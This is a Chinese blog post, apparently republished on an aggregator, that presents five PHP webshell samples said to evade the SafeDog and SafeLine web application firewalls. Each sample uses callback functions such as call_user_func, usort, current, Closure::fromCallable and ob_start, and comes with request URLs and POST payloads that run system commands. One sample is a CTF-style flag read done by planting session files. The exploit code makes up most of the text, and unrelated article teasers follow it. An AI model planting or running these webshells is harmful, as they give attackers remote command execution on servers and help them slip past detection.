webshell绕过样本初体验

news2024/9/22 17:34:39

目录

一:前景

二:样本

        样本一:

样本二:

样本三:        

样本4:

样本5:


一:前景

        在我们日常的网站中百分之一百是存在一些安全设备来拦截我们的webshell的,一般情况下不可能裸奔,一些比较好用的免费waf通常为安全狗,长亭科技的雷池waf等。当我们上传的webshell被查杀出来以后就直接失效。

        提供以下几种样本来绕过webshell的检测,并且亲测可以绕过安全狗和雷池。

二:样本

        样本一:

<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

$a = call_user_func($action, ...$parameters);

call_user_func回调后面。

$parameters = $_GET;  相当于变量parameters接收所有的get传参。在后面的过滤中将action参数过滤。

由此我们构建利用:

方式1:​​​​​​http://127.0.0.1/test.php?action=system&1=whoami   方法1比较简单。

方式2:http://127.0.0.1/test.php?action=usort&0[0]=system&0[1]=whoami&1=call_user_func

方法2使用usort函数来进行利用,usort传递两个参数,一个数组和一个函数。可以去官网查看具体用法:PHP: Hypertext Preprocessor

经历过程:

call_user_func(usort,0[0]=system&0[1]=whoami&1=call_user_func)

usort(0[0]=system&0[1]=whoami,call_user_func)

call_user_func(system,whoami)

样本二:

<?php

$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

结构和样本一类似。我们直接看利用方式。

方法1:http://127.0.0.1/test.php?action=current&a=current    POST:a[]=system&b=whoami

方法一利用的是current这个函数,我们可以去官网查看用法:返回当前数组中的值。

经过:从下面就可以很清晰的看到解析的过程。

call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

call_user_func(current,current)($_POST['a'])($_POST['b']);

current($_POST['a'])($_POST['b']);

a($_POST['b']);

system(ls);

方法二:http://127.0.0.1/test.php?action=Closure::fromCallable&0=Closure&1=fromCallable

POST:a=system&b=whoami

方法二主要使用的是PHP原生类静态方法Closure::fromCallable(这个方法为Closure类下的fromCallable方法),它也可以去调用方法和call_user_func类似。

call_user_func(Closure::fromCallable,0=Closure&1=fromCallable)=  Closure::fromCallable

相当于调用自身。

经过:call_user_func(Closure::fromCallable, 0=Closure&1=fromCallable)($_POST['a'])($_POST['b']);

Closure::fromCallable(Closure, fromCallable)(system)(ls)

这里又相当于使用Closure::fromCallable调用Closure类下的fromCallable方法。即:Closure::fromCallable(Closure, fromCallable)= Closure::fromCallable

Closure::fromCallable(system)(ls)

调用system方法。

System(ls)

样本三:        

<?php
$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
    unset($parameters['action']);
}

call_user_func($action, $parameters);


if(count(glob(__DIR__.'/*'))>3){
    readfile('flag.txt');
}

?>

很明显:这里是要读取flag.txt这个文件,但是这里存在一个前提那就是当前路径下的文件数量要大于3个。

加上flag.txt文件和当前的php文件就还是只有两个文件。还差至少两个文件。

利用方法:这里可以利用session_start命令,将session文件防止到当前文件下面。不过在这之前我们还需要知道当前文件的绝对路径。通过报错来定位当前物理路径,报错的方法有很多,大体是通过引入一个函数并传递“不合法”的参数,这里给一个方法来报路径:

16.php?action=register_tick_function&0=SplFixedArray&1=toArray

利用:http://127.0.0.1/test.php?action=session_start&save_path=D:\phpstudy_pro\WWW

当我们回车之后就会生成一个session在当前路径下面,我们只需要去更改如下cookie中的值后再次回车即可,再次回车之后又会生成一个session文件。此时就可以读取到flag.txt文件了。

样本4:

<?php
Class A{
    static function f(){
        system($_POST['a']);
    }
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);

利用方法:http://127.0.0.1/test.php?action=call_user_func&0=A&1=f   POST:a=dir

直接使用call_user_func调用类A下的f方法。

样本5:

<?php
Class A{
    static function f(string $a){
        system($a);
    }
}


$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {
unset($parameters['action']);
}

call_user_func($action, $parameters);
echo $_POST['a'];

利用方法:http://127.0.0.1/test.php?action=ob_start&0=A&1=f   POST:a=whoami

这里主要利用的是ob_start这个函数,可以去官网查看该函数的用法:

Ob_start:打开输出缓冲,相当于在使用ob_start后会自动接受POST数据。Ob_start与call_use_func类似,可以接收两个参数。

Ob_start(A,f)相当于调用类A下面的f方法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2100184.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

苹果手机微信恢复聊天记录分享:3个恢复方法,学到就是赚到

Q&#xff1a;我微信里面的聊天记录都不见了怎么办呀&#xff1f; A&#xff1a;问我你就是问对人了&#xff0c;我这里有3个超好用的微信恢复聊天记录的方法&#xff0c;不管你的聊天记录是被误删的&#xff0c;还是由于其他的原因导致丢失&#xff0c;在这3个方法中&#xf…

人工智能 | MetaLlama 大模型

llama 大模型介绍 我们介绍 LLaMA&#xff0c;这是一个基础语言模型的集合&#xff0c;参数范围从 7B 到 65B。我们在数万亿个 Token 上训练我们的模型&#xff0c;并表明可以专门使用公开可用的数据集来训练最先进的模型&#xff0c;而无需诉诸专有的和无法访问的数据集。特别…

车牌数据集车辆数据集,全手工labelimg标注 图片清晰用于训练效果很好

车牌数据集车辆数据集&#xff0c;全手工labelimg标注 图片清晰用于训练效果很好 车牌及车辆检测数据集介绍 数据集概览 本数据集旨在为车牌识别和车辆检测任务提供高质量的训练素材。数据集完全由人工使用LabelImg工具进行标注&#xff0c;确保了标注的准确性与一致性。图…

【容器安全系列Ⅴ】- Linux强制访问控制:AppArmor 和 SELinux

在本系列中&#xff0c;我们介绍了各种安全层&#xff0c;这些安全层不仅可以将容器与主机上的其他进程隔离开来&#xff0c;还可以将容器与其底层主机隔离开来。在这篇文章中&#xff0c;我们将讨论 AppArmor 和 SELinux 如何在我们之前讨论过的其他隔离层之外提供额外的限制。…

PDF的4大限制功能详解:如何保护你的文件?

PDF是我们工作中常用的文件格式之一。有时候&#xff0c;为了保护文件的内容或使用权限&#xff0c;我们需要对PDF文件进行某些限制。通过PDF编辑器&#xff0c;可以对PDF文件设置限制保护&#xff0c;下面介绍4种常见的限制功能&#xff0c;一起来看看吧。 限制功能一&#xf…

推荐大模型面临的严峻挑战

一、技术瓶颈 &#xff08;一&#xff09;可靠性与幻觉问题 大模型在运行过程中有时会出现事实性错误&#xff0c;这便是可靠性问题&#xff0c;也被称为 “幻觉”。例如&#xff0c;它可能会弄错诗词作者&#xff0c;给出错误的文学知识。这种错误并非个例&#xff0c;而是在…

面试必备:熟悉Spring MVC工作流程,掌握Spring MVC常见注解

一、SpringMvc 基础知识点 1. Spring MVC概况 1.1 如何理解Spring MVC 大家都知道Spring MVC很强大&#xff0c;胡广问大家一个问题&#xff0c;Spring MVC为什么会出现&#xff1f;一项技术的出现必定是为了解决旧技术考虑不全所积累的软件熵。《程序员修炼之道》在软件的熵…

PTA整数的分类处理

作者 陈越 单位 浙江大学 给定 N 个正整数&#xff0c;要求你从中得到下列三种计算结果&#xff1a; A1 能被 3 整除的最大整数A2 存在整数 K 使之可以表示为 3K1 的整数的个数A3 存在整数 K 使之可以表示为 3K2 的所有整数的平均值&#xff08;精确到小数点后 1 位&…

0901作业+思维导图梳理

一、作业 1、代码 #include <iostream> #include <string.h> #include <stdio.h> using namespace std; class Mystring { public://无参构造Mystring():size(128),len(0){str new char[size];cout<<"无参构造完成"<<endl;}//有参构…

Git之2.35版本重要特性及用法实例(六十三)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者. 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列…

版本控制系统Git/Gitlab/GitHub

版本控制系统 git和svn:公司内部的代码仓库&#xff0c;用于存放项目代码&#xff0c;方便整合开发过程 公共代码仓库&#xff1a;github全球 gitee国内 git 分布式 ---没有中心代码库&#xff0c;所有机器之间的地位同等&#xff08;每台机器上都有相同的代码&#xff09; …

【C++ 面试 - STL】每日 3 题(三)

​ ✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏&…

2024年8月——大模型更新汇总

让我们来看一下8月份有哪些大模型更新&#xff0c;涵盖了多个领域&#xff0c;包括语言模型、视觉模型以及数学模型等。以下是本次更新的主要亮点&#xff1a; 1、 智谱系列升级&#xff1a; a、GLM-4-Flash&#xff1a;免费供应&#xff0c;提供快速响应的对话体验。 b、GLM-4…

Linux--网络指令UDP,TCPwindows连接服务器

网络指令 ping命令 用来检测网络连通性的。 比如ping 百度的官网 ping www.bai.com 这个指令执行后默认是不会停下来的&#xff0c;我们可以加入 -c 数字选项&#xff0c;表示要ping几次 比如ping两次 ping -c2 www.bai.com netstat 查看所有的网络连接活动 netstat…

《云原生安全攻防》-- K8s攻击案例:高权限Service Account接管集群

《网安面试指南》http://mp.weixin.qq.com/s?__bizMzkwNjY1Mzc0Nw&mid2247484339&idx1&sn356300f169de74e7a778b04bfbbbd0ab&chksmc0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene21#wechat_redirect 在本节课程中…

提高编程效率的秘密武器:探索高效开发工具

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《热点时事》 期待您的关注 目录 引言 一、工具介绍 Visual Studio Code (VS Code) Docker GitHub 二、效率对比 三、未来趋…

详细解说一下Python中的递归和基例

大家好&#xff0c;感谢阅读胡萝卜不甜的文章&#xff0c;谢谢你的关注和点赞。好戏马上开始 考点&#xff1a; 递归函数是一种在函数定义中调用自身的函数。递归函数通常包含两个主要部分&#xff1a;递归部分和基例&#xff08;也称为递归终止条件&#xff09;。 递归部分&am…

给你的头像加个口罩网站html源码

源码介绍 给你的头像加个口罩网站html源码&#xff0c;html网页源码&#xff0c;直接打开即可使用&#xff0c;也可以上传到网站。 效果预览 源码获取 给你的头像加个口罩网站html源码

【亚马逊运营经验帖】跨境选品9大实操策略,小白必看!

一个新手卖家要想在亚马逊这个庞大的平台上分得一杯羹&#xff0c;不深入了解一些选品的技巧恐怕是不行的。七分靠选品&#xff0c;三分靠运营。可见选品的成功与否对于一个 listing 能否快速爆单至关重要&#xff0c;这篇文章是从帮助小白的角度去分析选品的一些基本思路。 1…

科研论文必须要了解的25个学术网站

各位同学大家好&#xff0c;我是Toby老师&#xff0c;今天介绍一下科研论文必须要了解的25个学术网站。下述论文网站收藏内容有差异&#xff0c;大家可以检索比较。 1.SCI SCI&#xff08;Science Citation Index&#xff09;是一个学术引文数据库&#xff0c;收录了全球多个学…